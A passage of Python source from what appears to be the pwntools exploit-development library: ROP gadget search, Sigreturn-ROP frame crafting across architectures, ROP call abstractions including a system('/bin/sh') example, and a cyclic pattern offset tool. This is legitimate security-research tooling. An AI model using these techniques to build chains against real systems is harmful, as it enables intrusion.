            A ``pwnlib.rop.gadgets.Gadget`` object
        """
        matches = self.search_iter(move, regs)
        if matches is None:
            return None

        # Search for an exact match, save the closest match
        key = {
            'size': lambda g: (g.move, len(g.regs), g.address),
            'regs': lambda g: (len(g.regs), g.move, g.address)
        }[order]

        try:
            result = min(matches, key=key)
        except ValueError:
            return None

        # Check for magic 9999999... value used by 'leave; ret'
        if move and result.move == 9999999999:
            return None

        return result

    def __getattr__(self, attr):
        """Helper to make finding ROP gadets easier.

        Also provides a shorthand for ``.call()``:
            ``rop.function(args)`` is equivalent to ``rop.call(function, args)``

        >>> elf=ELF(which('bash'))
        >>> rop=ROP([elf])
        >>> rop.rdi     == rop.search(regs=['rdi'], order = 'regs')
        True
        >>> rop.r13_r14_r15_rbp == rop.search(regs=['r13','r14','r15','rbp'], order = 'regs')
        True
        >>> rop.ret_8   == rop.search(move=8)
        True
        >>> rop.ret     != None
        True
        """
        gadget = collections.namedtuple('gadget', ['address', 'details'])
        bad_attrs = [
            'trait_names',          # ipython tab-complete
            'download',             # frequent typo
            'upload',               # frequent typo
        ]

        if attr in self.__dict__ \
        or attr in bad_attrs \
        or attr.startswith('_'):
            raise AttributeError('ROP instance has no attribute %r' % attr)

        #
        # Check for 'ret' or 'ret_X'
        #
        if attr.startswith('ret'):
            count = 4
            if '_' in attr:
                count = int(attr.split('_')[1])
            return self.search(move=count)

        if attr in ('int80', 'syscall', 'sysenter'):
            mapping = {'int80': 'int 0x80',
             'syscall': 'syscall',
             'sysenter': 'sysenter'}
            for each in self.gadgets:
                if self.gadgets[each]['insns'] == [mapping[attr]]:
                    return gadget(each, self.gadgets[each])
            return None

        #
        # Check for a '_'-delimited list of registers
        #
        x86_suffixes = ['ax', 'bx', 'cx', 'dx', 'bp', 'sp', 'di', 'si',
                        'r8', 'r9', '10', '11', '12', '13', '14', '15']

        if all(map(lambda x: x[-2:] in x86_suffixes, attr.split('_'))):
            return self.search(regs=attr.split('_'), order='regs')

        #
        # Otherwise, assume it's a rop.call() shorthand
        #
        def call(*args):
            return self.call(attr, args)

        return call






from .rop import ROP






# -*- coding: utf-8 -*-
r"""
Sigreturn ROP (SROP)

Sigreturn is a syscall used to restore the entire register context
from memory pointed at by ESP.

We can leverage this during ROP to gain control of registers for which
there are not convenient gadgets.  The main caveat is that *all* registers
are set, including ESP and EIP (or their equivalents).  This means that
in order to continue after using a sigreturn frame, the stack pointer
must be set accordingly.

i386 Example:

    Let's just print a message out using SROP.

    >>> message = "Hello, World"

    First, we'll create our example binary.
    It just reads some data onto the stack, and invokes
    the ``sigreturn`` syscall.
    We also make an ``int 0x80`` gadget available, followed
    immediately by ``exit(0)``.

    >>> context.clear(arch='i386')
    >>> assembly =  'read:'      + shellcraft.read(constants.STDIN_FILENO, 'esp', 1024)
    >>> assembly += 'sigreturn:' + shellcraft.sigreturn()
    >>> assembly += 'int3:'      + shellcraft.trap()
    >>> assembly += 'syscall: '  + shellcraft.syscall()
    >>> assembly += 'exit: '     + 'xor ebx, ebx; mov eax, 1; int 0x80;'
    >>> assembly += 'message: '  + ('.asciz "%s"' % message)
    >>> binary = ELF.from_assembly(assembly)

    Let's construct our frame to have it invoke a ``write``
    syscall, and dump the message to stdout.

    >>> frame = SigreturnFrame(kernel='amd64')
    >>> frame.eax = constants.SYS_write
    >>> frame.ebx = constants.STDOUT_FILENO
    >>> frame.ecx = binary.symbols['message']
    >>> frame.edx = len(message)
    >>> frame.esp = 0xdeadbeef
    >>> frame.eip = binary.symbols['syscall']

    Let's start the process, send the data, and check the message.

    >>> p = process(binary.path)
    >>> p.send(str(frame))
    >>> p.recvn(len(message)) == message
    True
    >>> p.wait_for_close()
    >>> p.poll() == 0
    True

amd64 Example:

    >>> context.clear()
    >>> context.arch = "amd64"
    >>> assembly =  'read:'      + shellcraft.read(constants.STDIN_FILENO, 'rsp', 1024)
    >>> assembly += 'sigreturn:' + shellcraft.sigreturn()
    >>> assembly += 'int3:'      + shellcraft.trap()
    >>> assembly += 'syscall: '  + shellcraft.syscall()
    >>> assembly += 'exit: '     + 'xor rdi, rdi; mov rax, 60; syscall;'
    >>> assembly += 'message: '  + ('.asciz "%s"' % message)
    >>> binary = ELF.from_assembly(assembly)
    >>> frame = SigreturnFrame()
    >>> frame.rax = constants.SYS_write
    >>> frame.rdi = constants.STDOUT_FILENO
    >>> frame.rsi = binary.symbols['message']
    >>> frame.rdx = len(message)
    >>> frame.rsp = 0xdeadbeef
    >>> frame.rip = binary.symbols['syscall']
    >>> p = process(binary.path)
    >>> p.send(str(frame))
    >>> p.recvn(len(message)) == message
    True
    >>> p.wait_for_close()
    >>> p.poll() == 0
    True

arm Example:

    >>> context.clear()
    >>> context.arch = "arm"
    >>> assembly =  'read:'      + shellcraft.read(constants.STDIN_FILENO, 'sp', 1024)
    >>> assembly += 'sigreturn:' + shellcraft.sigreturn()
    >>> assembly += 'int3:'      + shellcraft.trap()
    >>> assembly += 'syscall: '  + shellcraft.syscall()
    >>> assembly += 'exit: '     + 'eor r0, r0; mov r7, 0x1; swi #0;'
    >>> assembly += 'message: '  + ('.asciz "%s"' % message)
    >>> binary = ELF.from_assembly(assembly)
    >>> frame = SigreturnFrame()
    >>> frame.r7 = constants.SYS_write
    >>> frame.r0 = constants.STDOUT_FILENO
    >>> frame.r1 = binary.symbols['message']
    >>> frame.r2 = len(message)
    >>> frame.sp = 0xdead0000
    >>> frame.pc = binary.symbols['syscall']
    >>> p = process(binary.path)
    >>> p.send(str(frame))
    >>> p.recvn(len(message)) == message
    True
    >>> p.wait_for_close()
    >>> p.poll() == 0
    True

Mips Example:

    >>> context.clear()
    >>> context.arch = "mips"
    >>> context.endian = "big"
    >>> assembly =  'read:'      + shellcraft.read(constants.STDIN_FILENO, '$sp', 1024)
    >>> assembly += 'sigreturn:' + shellcraft.sigreturn()
    >>> assembly += 'syscall: '  + shellcraft.syscall()
    >>> assembly += 'exit: '     + shellcraft.exit(0)
    >>> assembly += 'message: '  + ('.asciz "%s"' % message)
    >>> binary = ELF.from_assembly(assembly)
    >>> frame = SigreturnFrame()
    >>> frame.v0 = constants.SYS_write
    >>> frame.a0 = constants.STDOUT_FILENO
    >>> frame.a1 = binary.symbols['message']
    >>> frame.a2 = len(message)
    >>> frame.sp = 0xdead0000
    >>> frame.pc = binary.symbols['syscall']
    >>> p = process(binary.path)
    >>> p.send(str(frame))
    >>> p.recvn(len(message)) == message
    True
    >>> p.wait_for_close()
    >>> p.poll() == 0
    True

Mipsel Example:

    >>> context.clear()
    >>> context.arch = "mips"
    >>> context.endian = "little"
    >>> assembly =  'read:'      + shellcraft.read(constants.STDIN_FILENO, '$sp', 1024)
    >>> assembly += 'sigreturn:' + shellcraft.sigreturn()
    >>> assembly += 'syscall: '  + shellcraft.syscall()
    >>> assembly += 'exit: '     + shellcraft.exit(0)
    >>> assembly += 'message: '  + ('.asciz "%s"' % message)
    >>> binary = ELF.from_assembly(assembly)
    >>> frame = SigreturnFrame()
    >>> frame.v0 = constants.SYS_write
    >>> frame.a0 = constants.STDOUT_FILENO
    >>> frame.a1 = binary.symbols['message']
    >>> frame.a2 = len(message)
    >>> frame.sp = 0xdead0000
    >>> frame.pc = binary.symbols['syscall']
    >>> p = process(binary.path)
    >>> p.send(str(frame))
    >>> p.recvn(len(message)) == message
    True
    >>> p.wait_for_close()
    >>> p.poll() == 0
    True

"""

from collections import namedtuple

from ..abi import ABI
from ..context import LocalContext
from ..context import context
from ..log import getLogger
from ..util.packing import flat
from ..util.packing import pack
from ..util.packing import unpack_many

log = getLogger(__name__)

registers = {
# Reference : http://lxr.free-electrons.com/source/arch/x86/include/asm/sigcontext.h?v=2.6.28#L138
        'i386' : {0: 'gs', 4: 'fs', 8: 'es', 12: 'ds', 16: 'edi', 20: 'esi', 24: 'ebp', 28: 'esp',
                  32: 'ebx', 36: 'edx', 40: 'ecx', 44: 'eax', 48: 'trapno', 52: 'err', 56: 'eip',
                  60: 'cs', 64: 'eflags', 68: 'esp_at_signal', 72: 'ss', 76: 'fpstate'},
# Reference : https://www.cs.vu.nl/~herbertb/papers/srop_sp14.pdf
        'amd64': {0: 'uc_flags', 8: '&uc', 16: 'uc_stack.ss_sp', 24: 'uc_stack.ss_flags',
                  32: 'uc_stack.ss_size', 40: 'r8', 48: 'r9', 56: 'r10', 64: 'r11', 72: 'r12',
                  80: 'r13', 88: 'r14', 96: 'r15', 104: 'rdi', 112: 'rsi', 120: 'rbp', 128: 'rbx',
                  136: 'rdx', 144: 'rax', 152: 'rcx', 160: 'rsp', 168: 'rip', 176: 'eflags',
                  184: 'csgsfs', 192: 'err', 200: 'trapno', 208: 'oldmask', 216: 'cr2',
                  224: '&fpstate', 232: '__reserved', 240: 'sigmask'},
# Reference : http://lxr.free-electrons.com/source/arch/arm/include/uapi/asm/sigcontext.h#L15
        'arm' : {0: 'uc_flags', 4: 'uc_link', 8: 'uc_stack.ss_sp', 12: 'uc_stack.ss_flags',
                 16: 'uc_stack.ss_size', 20: 'trap_no', 24: 'error_code', 28: 'oldmask', 32: 'r0',
                 36: 'r1', 40: 'r2', 44: 'r3', 48: 'r4', 52: 'r5', 56: 'r6', 60: 'r7', 64: 'r8',
                 68: 'r9', 72: 'r10', 76: 'fp', 80: 'ip', 84: 'sp', 88: 'lr', 92: 'pc', 96: 'cpsr',
                 100: 'fault_address', 104: 'uc_sigmask', 108: '__unused', 112: 'uc_regspace',
                 232: 'VFPU-magic', 236: 'VFPU-size'},
# Reference : http://lxr.free-electrons.com/source/arch/mips/include/uapi/asm/sigcontext.h#L15
        'mips': {0: 'sf_ass0', 4: 'sf_ass1', 8: 'sf_ass2', 12: 'sf_ass3', 16: 'sf_ass4', 20: 'sf_pad0',
                 24: 'sf_pad1', 28: 'sc_regmask', 32: 'sc_status', 36: 'pc', 44: 'padding', 52: 'at', 60: 'v0',
                 68: 'v1', 76: 'a0', 84: 'a1', 92: 'a2', 100: 'a3', 108: 't0', 116: 't1', 124: 't2',
                 132: 't3', 140: 't4', 148: 't5', 156: 't6', 164: 't7', 172: 's0', 180: 's1', 188: 's2',
                 196: 's3', 204: 's4', 212: 's5', 220: 's6', 228: 's7', 236: 't8', 244: 't9', 252: 'k0',
                 260: 'k1', 268: 'gp', 276: 'sp', 284: 's8', 292: 'ra'},
        'mipsel': {0: 'sf_ass0', 4: 'sf_ass1', 8: 'sf_ass2', 12: 'sf_ass3', 16: 'sf_ass4', 20: 'sc_regmask',
                   24: 'sc_status', 32: 'pc', 40: 'padding', 48: 'at', 56: 'v0', 64: 'v1', 72: 'a0',
                   80: 'a1', 88: 'a2', 96: 'a3', 104: 't0', 112: 't1', 120: 't2', 128: 't3', 136: 't4',
                   144: 't5', 152: 't6', 160: 't7', 168: 's0', 176: 's1', 184: 's2', 192: 's3', 200: 's4',
                   208: 's5', 216: 's6', 224: 's7', 232: 't8', 240: 't9', 248: 'k0', 256: 'k1', 264: 'gp',
                   272: 'sp', 280: 's8', 288: 'ra'},
        'aarch64': {312: 'x0', 320: 'x1', 328: 'x2', 336: 'x3', 344: 'x4', 352: 'x5', 360: 'x6',
                    368: 'x7', 376: 'x8', 384: 'x9', 392: 'x10', 400: 'x11', 408: 'x12', 416: 'x13',
                    424: 'x14', 432: 'x15', 440: 'x16', 448: 'x17', 456: 'x26', 528: 'x27', 536: 'x28',
                    544: 'x29', 552: 'x30', 560: 'sp', 568: 'pc', 592: 'magic'}
}

defaults = {
    "i386" : {"cs": 0x73, "ss": 0x7b},
    "i386_on_amd64": {"cs": 0x23, "ss": 0x2b},
    "amd64": {"csgsfs": 0x33},
    "arm": {"trap_no": 0x6, "cpsr": 0x40000010, "VFPU-magic": 0x56465001, "VFPU-size": 0x120},
    "mips": {},
    "aarch64": {"magic": 0x0000021046508001},
}

instruction_pointers = {
    'i386': 'eip',
    'amd64': 'rip',
    'arm': 'pc',
    'mips': 'pc',
    'aarch64': 'pc',
}

stack_pointers = {
    'i386': 'esp',
    'amd64': 'rsp',
    'arm': 'sp',
    'mips': 'sp',
    'aarch64': 'sp',
}

# # XXX Need to add support for Capstone in order to extract ARM and MIPS
# XXX as the SVC code may vary.
syscall_instructions = {
    'amd64': ['int 0x80', 'syscall', 'sysenter'],
    'i386': ['int 0x80', 'syscall', 'sysenter'],
    'arm': ['svc 0'],
    'aarch64': ['svc 0'],
    'thumb': ['svc 0'],
    'mips': ['syscall']
}

class SigreturnFrame(dict):
    r"""
    Crafts a sigreturn frame with values that are loaded up into
    registers.

    Arguments:
        arch(str):
            The architecture. Currently ``i386`` and ``amd64`` are
            supported.

    Examples:

        Crafting a SigreturnFrame that calls mprotect on amd64

        >>> context.clear(arch='amd64')
        >>> s = SigreturnFrame()
        >>> unpack_many(str(s))
        [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 51, 0, 0, 0, 0, 0, 0, 0]
        >>> assert len(s) == 248
        >>> s.rax = 0xa
        >>> s.rdi = 0x00601000
        >>> s.rsi = 0x1000
        >>> s.rdx = 0x7
        >>> assert len(str(s)) == 248
        >>> unpack_many(str(s))
        [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 6295552, 4096, 0, 0, 7, 10, 0, 0, 0, 0, 51, 0, 0, 0, 0, 0, 0, 0]

        Crafting a SigreturnFrame that calls mprotect on i386

        >>> context.clear(arch='i386')
        >>> s = SigreturnFrame(kernel='i386')
        >>> unpack_many(str(s))
        [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 115, 0, 0, 123, 0]
        >>> assert len(s) == 80
        >>> s.eax = 125
        >>> s.ebx = 0x00601000
        >>> s.ecx = 0x1000
        >>> s.edx = 0x7
        >>> assert len(str(s)) == 80
        >>> unpack_many(str(s))
        [0, 0, 0, 0, 0, 0, 0, 0, 6295552, 7, 4096, 125, 0, 0, 0, 115, 0, 0, 123, 0]

        Crafting a SigreturnFrame that calls mprotect on ARM

        >>> s = SigreturnFrame(arch='arm')
        >>> unpack_many(str(s))
        [0, 0, 0, 0, 0, 6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1073741840, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1447448577, 288]
        >>> s.r0 = 125
        >>> s.r1 = 0x00601000
        >>> s.r2 = 0x1000
        >>> s.r3 = 0x7
        >>> assert len(str(s)) == 240
        >>> unpack_many(str(s))
        [0, 0, 0, 0, 0, 6, 0, 0, 125, 6295552, 4096, 7, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1073741840, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1447448577, 288]

        Crafting a SigreturnFrame that calls mprotect on MIPS

        >>> context.clear()
        >>> context.endian = "big"
        >>> s = SigreturnFrame(arch='mips')
        >>> unpack_many(str(s))
        [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
        >>> s.v0 = 0x101d
        >>> s.a0 = 0x00601000
        >>> s.a1 = 0x1000
        >>> s.a2 = 0x7
        >>> assert len(str(s)) == 296
        >>> unpack_many(str(s))
        [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 4125, 0, 0, 0, 6295552, 0, 4096, 0, 7, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]

        Crafting a SigreturnFrame that calls mprotect on MIPSel

        >>> context.clear()
        >>> context.endian = "little"
        >>> s = SigreturnFrame(arch='mips')
        >>> unpack_many(str(s))
        [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
        >>> s.v0 = 0x101d
        >>> s.a0 = 0x00601000
        >>> s.a1 = 0x1000
        >>> s.a2 = 0x7
        >>> assert len(str(s)) == 292
        >>> unpack_many(str(s))
        [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 4125, 0, 0, 0, 6295552, 0, 4096, 0, 7, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]

        Crafting a SigreturnFrame that calls mprotect on Aarch64

        >>> context.clear()
        >>> context.endian = "little"
        >>> s = SigreturnFrame(arch='aarch64')
        >>> unpack_many(str(s))
        [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1179680769, 528]
        >>> s.x8 = 0xe2
        >>> s.x0 = 0x4000
        >>> s.x1 = 0x1000
        >>> s.x2 = 0x7
        >>> assert len(str(s)) == 600
        >>> unpack_many(str(s))
        [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 16384, 0, 4096, 0, 7, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 226, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1179680769, 528]
    """

    arch = None
    frame = None
    size  = 0
    _regs = []
    endian = None

    @LocalContext
    def __init__(self):
        if context.kernel is None and context.arch == 'i386':
            log.error("kernel architecture must be specified")

        self.arch = context.arch
        self.endian = context.endian
        self._regs = [self.registers[i] for i in sorted(self.registers.keys())]
        self.update({r:0 for r in self._regs})
        self.size = len(str(self))
        self.update(defaults[self.arch])

        if context.arch == 'i386' and context.kernel == 'amd64':
            self.update(defaults['i386_on_amd64'])

    def __setitem__(self, item, value):
        if item not in self._regs:
            log.error("Unknown register %r (not in %r)" % (item, self._regs))
        if self.arch == "arm" and item == "sp" and (value & 0x7):
            log.error("ARM SP should be 8-bit aligned")
        super(SigreturnFrame, self).__setitem__(item, value)

    def __setattr__(self, attr, value):
        if attr in SigreturnFrame.__dict__:
            super(SigreturnFrame, self).__setattr__(attr, value)
        else:
            self.set_regvalue(attr, value)

    def __getattr__(self, attr):
        return self[attr]

    def __str__(self):
        frame = ""
        with context.local(arch=self.arch):
            for register_offset in sorted(self.register_offsets):
                if len(frame) < register_offset:
                    frame += "\x00"*(register_offset - len(frame))
                frame += pack(self[self.registers[register_offset]])
        return frame

    def __len__(self):
        return self.size

    @property
    def registers(self):
        if self.arch == "mips" and self.endian == "little":
            return registers["mipsel"]
        return registers[self.arch]

    @property
    def register_offsets(self):
        if self.arch == "mips" and self.endian == "little":
            return registers["mipsel"]
        return registers[self.arch].keys()

    @property
    def arguments(self):
        # Skip the register used to hold the syscall number
        return ABI.syscall(arch=self.arch).register_arguments[1:]

    @property
    def sp(self):
        return self[stack_pointers[self.arch]]

    @sp.setter
    def sp(self, v):
        self[stack_pointers[self.arch]] = v

    @property
    def pc(self):
        return self[instruction_pointers[self.arch]]

    @pc.setter
    def pc(self, v):
        self[instruction_pointers[self.arch]] = v

    @property
    def syscall(self):
        return self[self.syscall_register]

    @syscall.setter
    def syscall(self, v):
        self[self.syscall_register] = v

    @property
    def syscall_register(self):
        return ABI.syscall(arch=self.arch).syscall_register

    def set_regvalue(self, reg, val):
        """
        Sets a specific ``reg`` to a ``val``
        """
        self[reg] = val

    def get_spindex(self):
        return self._regs.index(stack_pointers[self.arch])






# -*- coding: utf-8 -*-
"""Abstracting ROP calls
"""
from ..abi import ABI
from ..context import context
from ..util import packing


class Unresolved(object):
    """
    Encapsulates logic for deferring evaluation of a value used
    in a ROP chain which is in some way self-referential.

    For example, it may be necessary to point to arbitrary data
    appended to the ROP chain, but whose address is not known until
    the full ROP chain is complete (because the data is appended
    after all of the gadgets).
    """
    pass


class CurrentStackPointer(Unresolved):
    """
    Unresolved argument which will be replaced with the address of itself.
    """
    pass


class NextGadgetAddress(Unresolved):
    """
    Unresolved argument which will be replaced with the address of the next
    gadget on the stack.

    This is useful for gadgets which set the stack pointer to an absolute
    value, when we wish to continue "execution" of the ROP stack at the
    next gadget.  In particular, SROP needs this.
    """
    pass


class StackAdjustment(Unresolved):
    """
    Placeholder for a ROP gadget which will adjust the stack pointer such
    that "execution" continues at the next ROP gadget.

    This is necessary for ABIs which place arguments on the stack.

    If no stack adjustment is necessary (e.g. a call with no stack-based
    arguments), no data is emitted and the ROP will fall-through to the
    next gadget.
    """
    pass

class AppendedArgument(Unresolved):
    """
    Encapsulates information about a pointer argument, and the data
    which is pointed to, where the absolute address of the data must
    be known, and the data can be appended to the ROP chain.

    Examples:

        >>> context.clear()
        >>> context.arch = 'amd64'
        >>> u = AppendedArgument([1,2,'hello',3])
        >>> len(u)
        32
        >>> u.resolve()
        [1, 2, 'hello\x00$$', 3]

        >>> u = AppendedArgument([1,2,['hello'],3])
        >>> u.resolve()
        [1, 2, 32, 3, 'hello\x00$$']
        >>> u.resolve(10000)
        [1, 2, 10032, 3, 'hello\x00$$']
        >>> u.address = 20000
        >>> u.resolve()
        [1, 2, 20032, 3, 'hello\x00$$']

        >>> u = AppendedArgument([[[[[[[[['pointers!']]]]]]]]], 1000)
        >>> u.resolve()
        [1008, 1016, 1024, 1032, 1040, 1048, 1056, 1064, 'pointers!\x00$$$$$$']
    """
    #: Symbolic name of the value.
    name = None

    #: The values to be placed at a known location
    #:
    #: A list of any of the following types:
    #: - int
    #: - str
    #: - UnresolvedArgument (allows nesting)
    values = []

    #: The size of the fully-resolved argument, in bytes
    size = 0

    #: Absolute address of the target data in memory.
    #: When modified, updates recursively.
    address = 0

    def __init__(self, value, address = 0):
        if not isinstance(value, (list, tuple)):
            value = [value]
        self.values = []
        self.address = address
        self.size = len(value) * context.bytes
        for v in value:
            if isinstance(v, (list, tuple)):
                arg = Unresolved(v, self.address + self.size)
                self.size += arg.size
                self.values.append(arg)
            else:
                self.values.append(v)

    @property
    def address(self):
        return self._address

    @address.setter
    def address(self, value):
        old = self._address
        delta = value - old
        for v in self.values:
            if isinstance(v, Unresolved):
                v.address += delta

        self._address = value

    _address = 0

    def local(self, address):
        original = self.address

        class LocalAddress(object):

            def __enter__(*a, **kw):
                self.address = address

            def __exit__(*a, **kw):
                self.address = original

        return LocalAddress()

    def resolve(self, addr = None):
        """
        Return a flat list of ``int`` or ``str`` objects which can be
        passed to ``pwnlib.packing.flat``

        Arguments:
            addr(int): Address at which the data starts in memory.
                If ``None``, ``self.addr`` is used.
        """
        if addr is None:
            addr = self.address
        with self.local(addr):
            self.address = addr
            rv = [None] * len(self.values)
            for i, value in enumerate(self.values):
                if isinstance(value, int):
                    rv[i] = value
                if isinstance(value, str):
                    value += '\x00'
                    while len(value) % context.bytes:
                        value += '$'

                    rv[i] = value
                if isinstance(value, Unresolved):
                    rv[i] = value.address
                    rv.extend(value.resolve())

        return rv

    def __len__(self):
        return self.size

    def __str__(self):
        return packing.flat(self.resolve())

    def __repr__(self):
        if isinstance(self.address, int):
            return '%s(%r, %#x)' % (self.__class__.__name__, self.values, self.address)
        else:
            return '%s(%r, %r)' % (self.__class__.__name__, self.values, self.address)


class Call(object):
    """
    Encapsulates ABI-agnostic information about a function call, which is
    to be executed with ROP.

    All non-integer arguments are assumed to be pointer arguments.
    The raw data is placed at the end of the ROP chain, and the argument
    is replaced with an exact pointer to the argument.

    Example:

        >>> Call('system', 0xdeadbeef, [1, 2, '/bin/sh'])
        Call('system', 0xdeadbeef, [1, 2, AppendedArgument(['/bin/sh'], 0x0)])
    """
    #: Pretty name of the call target, e.g. 'system'
    name = None

    #: Address of the call target
    target = 0

    #: Arguments to the call
    args = []

    def __init__(self, name, target, args, abi=None):
        assert isinstance(name, str)
        # assert isinstance(target, int)
        assert isinstance(args, (list, tuple))
        self.abi  = abi or ABI.default()
        self.name = name
        self.target = target
        self.args = list(args)
        for i, arg in enumerate(args):
            if not isinstance(arg, (int, long, Unresolved)):
                self.args[i] = AppendedArgument(arg)

    def __repr__(self):
        fmt = "%#x" if isinstance(self.target, (int, long)) else "%r"
        return '%s(%r, %s, %r)' % (self.__class__.__name__,
                                    self.name,
                                    fmt % self.target,
                                    self.args)

    def __str__(self):
        fmt = "%#x" if isinstance(self.target, (int, long)) else "%r"
        args = []
        for arg in self.args:
            if isinstance(arg, AppendedArgument) and len(arg.values) == 1:
                args.extend(map(repr, arg.values))
            else:
                args.append(arg)
        return '%s(%s)' % (self.name or fmt % self.target, ', '.join(map(str, args)))






# -*- coding: utf-8 -*-

class Gadget(object):
    """
    Describes a ROP gadget
    """

    #: Address of the first instruction of the gadget
    address = 0

    #: List of disassembled instruction mnemonics
    #:
    #: Examples:
    #:      ['pop eax', 'ret']
    insns = []

    #: OrderedDict of register to:
    #:
    #: - Offset from the top of the frame at which it's set
    #: - Name of the register which it is set from
    #:
    #: Order is determined by the order of instructions.
    #:
    #: Examples:
    #:
    #: ret => {}
    #: pop eax; ret => {'eax': 0}
    #: pop ebx; pop eax; ret => {'ebx': 0, 'eax': 4}
    #: add esp, 0x10; pop ebx; ret => {'ebx': 16}
    #: mov eax, ebx; ret => {'eax': 'ebx'}
    regs = {}

    #: The total amount that the stack pointer is modified by
    #:
    #: Examples:
    #:      ret ==> 4
    #:      add esp, 0x10; ret ==> 0x14
    move = 0

    def __init__(self, address, insns, regs, move):
        self.address = address
        self.insns   = insns
        self.regs    = regs
        self.move    = move

    __indices = ['address', 'details']

    def __repr__(self):
        return "%s(%#x, %r, %r, %#x)" % (self.__class__.__name__,
                                         self.address,
                                         self.insns,
                                         self.regs,
                                         self.move)

    def __getitem__(self, key):
        # Backward compatibility
        if isinstance(key, int):
            key = self.__indices[key]
        return getattr(self, key)

    def __setitem__(self, key, value):
        # Backward compatibility
        if isinstance(key, int):
            key = self.__indices[key]
        return setattr(self, key, value)






#!/usr/bin/env python2
import argparse
import string
import sys

from pwn import *

from . import common

parser = argparse.ArgumentParser(
    description = "Cyclic pattern creator/finder"
)

parser.add_argument(
    '-a', '--alphabet',
    metavar = 'alphabet',
    default = string.ascii_lowercase,
    help = 'The alphabet to use in the cyclic pattern (defaults to all lower case letters)',
)

parser.add_argument(
    '-n', '--length',
    metavar = 'length',
    default = 4,
    type = int,
    help = 'Size of the unique subsequences (defaults to 4).'
)

parser.add_argument(
    '-c', '--context',
    metavar = 'context',
    action = 'append',
    type   = common.context_arg,
    choices = common.choices,
    help = 'The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: %s' % common.choices,
)

group = parser.add_mutually_exclusive_group(required = True)
group.add_argument(
    '-l', '-o', '--offset', '--lookup',
    dest = 'lookup',
    metavar = 'lookup_value',
    help = 'Do a lookup instead printing the alphabet',
)

group.add_argument(
    'count',
    type = int,
    nargs = '?',
    help = 'Number of characters to print'
)

def main():
    args = parser.parse_args()
    alphabet = args.alphabet
    subsize  = args.length

    if args.lookup:
        pat = args.lookup

        try:
            pat = packing.pack(int(pat, 0), subsize*8)
        except ValueError:
            pass

        if len(pat) != subsize:
            log.critical('Subpattern must be %d bytes' % subsize)
            sys.exit(1)

        if not all(c in alphabet for c in pat):
            log.critical('Pattern contains characters not present in the alphabet')
            sys.exit(1)

        offset = cyclic_find(pat, alphabet, subsize)

        if offset == -1:
            log.critical('Given pattern does not exist in cyclic pattern')
            sys.exit(1)
